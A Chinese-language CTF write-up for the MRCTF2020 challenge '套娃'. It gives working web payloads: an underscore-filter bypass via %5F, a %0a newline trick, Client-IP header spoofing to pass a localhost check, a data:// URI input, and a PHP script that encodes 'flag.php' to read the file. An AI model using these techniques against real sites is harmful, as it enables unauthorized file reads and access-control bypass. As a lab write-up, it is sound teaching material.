[MRCTF2020]套娃
首先打开题目查看源码得到:
进行代码分析,发现对查询的字符进行过滤有,_和%5f就die
然后利用 空格,.,%5F代替下划线代替
(重点:)
PHP字符解析特性学习连接:
学习连接
并且还要绕过23333的检测
利用%0a的换行符进行绕过:
传入参数:
?b%5Fu%5Fp%5Ft=23333%0a
得到:
secrettw.php
访问在源码处发现:
发现是
alert(“post me Merak”)
请求一个Merak得到源码:
进行源码解析发现,
有判断IP要等于127.0.0.1,并且测试只有:CLIENT-IP: 127.0.0.1
才能通过
并且2333传递的内容要用todat is a happy day
而且file读取文件是通过change解密的
所以我们读取的flag.php要通过加密在解密
加密脚本:
<?php
function unchange($v){
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) - $i*2 );
}
return $re;
}
$a=unchange('flag.php');
echo base64_encode($a);
?>
得到加密的flag.php:
ZmpdYSZmXGI=
所以playload:
?2333=data:text/plain,todat is a happy day&file=ZmpdYSZmXGI=
查看源码得到flag